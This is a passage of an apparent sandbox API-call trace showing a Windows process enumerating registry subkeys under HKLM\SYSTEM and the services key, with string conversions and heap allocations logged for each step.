lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0169.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0169.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.330] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0169.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0169.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0169.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.330] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x140) returned 0x0 [0169.330] RegCloseKey (hKey=0x80000002) returned 0x0 [0169.330] RegEnumKeyW (in: hKey=0x140, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0169.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0169.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0169.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.331] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0169.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0169.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1928, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0169.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.331] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0169.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0169.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f18e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0169.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.331] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0169.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0169.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0169.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.331] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0169.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0169.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0169.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.332] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0169.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0169.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0169.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.332] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0169.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0169.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0169.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.332] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0169.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0169.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0169.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.332] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0169.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0169.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f18e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0169.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.333] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.333] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.333] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.333] RegOpenKeyExW (in: hKey=0x140, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0169.333] RegCloseKey (hKey=0x140) returned 0x0 [0169.333] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0169.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0169.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0169.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.333] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.333] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.333] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.333] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0169.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0169.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0169.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.333] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.333] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.333] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.333] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0169.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0169.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1928, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0169.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.334] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0169.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0169.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0169.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.334] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0169.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0169.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0169.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.335] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.335] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.335] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.335] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x140) returned 0x0 [0169.335] RegCloseKey (hKey=0x14c) returned 0x0 [0169.335] RegEnumKeyW (in: hKey=0x140, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0169.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0169.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0169.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.335] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.335] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.335] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.335] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0169.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0169.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1928, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0169.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.335] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.335] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.335] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.335] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0169.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0169.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f18e0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0169.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.336] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.336] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.336] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.336] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0169.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0169.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1928, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0169.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.336] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.336] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.336] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.336] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0169.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0169.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 